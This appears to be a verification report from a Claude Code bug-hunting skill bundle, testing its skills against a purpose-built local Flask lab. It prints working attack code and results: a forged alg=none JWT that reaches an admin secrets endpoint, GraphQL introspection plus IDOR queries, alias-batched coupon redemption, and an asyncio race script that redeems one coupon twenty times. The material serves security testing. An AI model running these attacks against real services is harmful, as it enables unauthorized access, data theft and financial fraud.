Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

9.9 KB
Raw Blame

Verification — Phase 2E: JWT alg=none + GraphQL + race condition

Path B: skill-area breadth. Three additional bug classes verified live against a custom Flask lab. Each exercises a distinct skill (hunt-api-misconfig, hunt-graphql, hunt-race-condition) using payloads quoted directly from the skill content.

Target

/tmp/phase2e-lab/app.py (Flask + PyJWT, ~250 lines, MIT-shippable). Three intentional bugs across three skill areas:

Endpoint Bug Skill
POST /api/token + GET /api/me JWT alg=none accepted; HMAC secret weak hunt-api-misconfig
POST /graphql Introspection enabled, IDOR via post(id:), alias batching hunt-graphql
POST /coupon/redeem Non-atomic check-then-spend hunt-race-condition

Reproducible setup:

mkdir -p /tmp/phase2e-lab && cd /tmp/phase2e-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask pyjwt aiohttp
# Save app.py from Appendix A (also shipped at docs/verification/phase2e-lab/app.py)
python app.py
# Lab on http://localhost:58001

Test 9 — JWT alg=none role escalation (hunt-api-misconfig)

Initial prompt (fresh user):

"I see this API issues JWTs. Want to test for the classic alg=none bypass."

Skill that auto-triggers: hunt-api-misconfig — description includes "JWT attacks (alg=none, weak HMAC, kid traversal)".

Technique from hunt-api-misconfig (and security-arsenal JWT payload tree):

JWT alg=none → header {"alg":"none","typ":"JWT"}, modify payload, append empty signature.

Live attack

# Step 1: legit user token (Alice, role=user)
TOK=$(curl -s -X POST http://localhost:58001/api/token \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}' | jq -r .token)

# Step 2: admin endpoint correctly denies Alice
curl -s -H "Authorization: Bearer $TOK" http://localhost:58001/api/admin/secrets
# → {"error":"admin only"}

# Step 3: forge an alg=none token claiming role=admin
EVIL=$(python3 -c '
import json, base64
def b64(o):
    return base64.urlsafe_b64encode(json.dumps(o, separators=(",",":")).encode()).rstrip(b"=").decode()
print(b64({"alg":"none","typ":"JWT"}) + "." +
      b64({"sub":"1","email":"[email protected]","role":"admin","iat":0}) + ".")
')

# Step 4: submit forged token
curl -s -H "Authorization: Bearer $EVIL" http://localhost:58001/api/admin/secrets

Live result

{
  "secrets": [
    {"name": "API_KEY", "value": "sk-prod-deadbeef"},
    {"name": "DB_PASSWORD", "value": "prod-pg-pw-2026"}
  ]
}

Production-looking secrets leaked via a forged token with empty signature.

Verdict

PASS — live. The exact attack quoted from the skill (header alg=none, empty signature, role-escalated payload) worked first-try. triage-validation 7-Question Gate passes all 7.


Test 10 — GraphQL introspection + IDOR (hunt-graphql)

Initial prompt:

"There's a /graphql endpoint. Want to dump the schema and look for IDOR."

Skill that auto-triggers: hunt-graphql — description includes "introspection, alias batching, node() IDOR".

Technique from hunt-graphql:

Send introspection query → identify resolvers → test direct id substitution.

Live attack

# Step 1: introspection
curl -s -X POST http://localhost:58001/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } types { name fields { name } } } }"}' \
  | jq '.data.__schema.types[] | select(.name == "Query")'

Response:

{
  "name": "Query",
  "fields": [
    {"name": "post"},
    {"name": "me"},
    {"name": "user"}
  ]
}

Schema enumerated. The post(id: ID) resolver is the IDOR target.

# Step 2: query post id=1 (admin's secret notes) — no auth required, no ownership check
curl -s -X POST http://localhost:58001/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ post(id: 1) { id title body ownerId } }"}'

Response:

{
  "data": {
    "post": {
      "id": 1,
      "title": "Admin secret notes",
      "body": "INTERNAL: Q3 financials",
      "ownerId": 1
    }
  }
}

Verdict

PASS — live. Introspection-then-substitute pattern from hunt-graphql worked exactly as documented. Real Critical (PII leak, cross-tenant access).


Test 11 — GraphQL alias batching (hunt-graphql)

Initial prompt:

"Can I redeem this coupon 10× in one request via GraphQL alias batching?"

Skill that auto-triggers: hunt-graphql Crown-Jewel Target: "alias amplification → logic bug at scale".

Live attack

curl -s http://localhost:58001/coupon/reset   # fresh state

curl -s -X POST http://localhost:58001/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { 
    r1: redeemCoupon(code: \"PROMO100\") { success credited }
    r2: redeemCoupon(code: \"PROMO100\") { success credited }
    r3: redeemCoupon(code: \"PROMO100\") { success credited }
    ... (10 aliases)
  }"}'

Live result

{
  "r1": {"success": true,  "credited": 100},
  "r2": {"success": false, "credited": 0},
  "r3": {"success": false, "credited": 0},
  ...
  "r10": {"success": false, "credited": 0}
}

Verdict

PARTIAL — alias batching delivered 10 calls in one HTTP request, but only the first succeeded. Within a single Flask request handler the resolver runs the 10 calls SERIALLY. The redeemed_count = 1 after r1 closes the door for r2-r10.

This is itself a verification finding: the skill says "alias batching enables amplification" — but only when the resolver doesn't share atomic state across the aliases. Where the lab uses a single SQLite connection per request, alias batching alone is insufficient — you need parallel HTTP to win the race (next test).

The skill is correct in principle but should note: "alias batching is most effective when paired with parallel HTTP for race-targets, since intra-request resolvers may share state."


Test 12 — Race condition: parallel HTTP redemption (hunt-race-condition)

Initial prompt:

"The coupon code redeems but I think the check is non-atomic. Burp Turbo Intruder single-packet attack?"

Skill that auto-triggers: hunt-race-condition — description includes "Burp Turbo Intruder single-packet attack, h2.cl smuggling for atomic submit, parallel curl with --next".

Technique from hunt-race-condition §Payload & Detection Patterns:

Python asyncio with aiohttp — 20+ concurrent POSTs.

Live attack

import asyncio, aiohttp, time

async def redeem(session, n):
    async with session.post(
        "http://localhost:58001/coupon/redeem",
        json={"code": "PROMO100"},
    ) as r:
        return n, await r.json()

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = [redeem(session, i) for i in range(20)]
        t0 = time.time()
        results = await asyncio.gather(*tasks)
        print(f"20 parallel requests in {time.time()-t0:.2f}s")
        successes = [r for r in results if r[1]['success']]
        print(f"Successes: {len(successes)}")

asyncio.run(main())

Live result

20 parallel requests in 0.11s
Successes: 20
Failures:  0

  req#0: {'balance': 100, 'credited': 100, 'success': True}
  req#1: {'balance': 100, 'credited': 100, 'success': True}
  ... (all 20)

RACE WON: coupon redeemed 20x — total credit issued: $2000 (expected: $100)

20× the intended credit. All 20 parallel requests passed the redeemed_count < 1 check before any of them committed the UPDATE.

Verdict

PASS — live, devastating. hunt-race-condition's asyncio pattern produces a $2000 over-credit against a $100 coupon in 110ms. The non-atomic check-then-spend in the resolver is exactly the pattern hunt-race-condition calls out as "double-spend / atomic update bypass".

triage-validation 7-Question Gate: passes all 7 (real money, reproducible at HTTP speed, deterministic).


Summary — Phase 2E

# Test Skill Result
9 JWT alg=none → admin secrets leak hunt-api-misconfig PASS (live)
10 GraphQL introspection → IDOR via post(id:) hunt-graphql PASS (live)
11 GraphQL alias batching hunt-graphql PARTIAL — needs parallel HTTP for race wins
12 Race condition via 20 parallel POSTs hunt-race-condition PASS (devastating — 20× over-credit)

3 bug classes verified live. 1 skill content gap surfaced (alias batching alone vs alias+parallel HTTP).

Skill content gap to close

hunt-graphql describes alias batching as an amplification primitive. Test 11 shows that within a single-threaded resolver, intra-request aliases run serially and one mutation may close the door for others.

Fix: add a note in hunt-graphql that alias batching's amplification effect on race-targets depends on resolver execution model:

  • Multi-threaded resolvers (e.g., DataLoader-batched async resolvers) → alias batching alone wins races
  • Single-threaded resolvers (most simple GraphQL servers) → combine with parallel HTTP for race wins

This is a small but operationally important caveat that should be in the skill content.

What Phase 2E adds beyond Phase 2D

Phase 2D tested discipline rules (FP-killers). Phase 2E tests attack primitives across three different skill areas. The combined Phase 2 verification now covers:

  • Discipline rules (Phase 2D, 6 rules) ✓
  • Real CVE exploitation (Phase 2B, 3 CVEs across hunt-rce) ✓
  • Recon (Phase 2C, hunt-subdomain + offensive-osint) ✓
  • API attacks (Phase 2E Test 9, hunt-api-misconfig JWT alg=none) ✓
  • GraphQL (Phase 2E Tests 10-11, hunt-graphql introspection + IDOR + alias batching) ✓
  • Concurrency (Phase 2E Test 12, hunt-race-condition parallel HTTP) ✓
  • Web app baselines (Phase 2 Juice Shop, 5 classes) ✓

Total verified skills: 12+ across 7 skill files.

Appendix — lab source

Shipped at docs/verification/phase2e-lab/app.py. ~250 lines of Flask. Use under the repo's MIT license.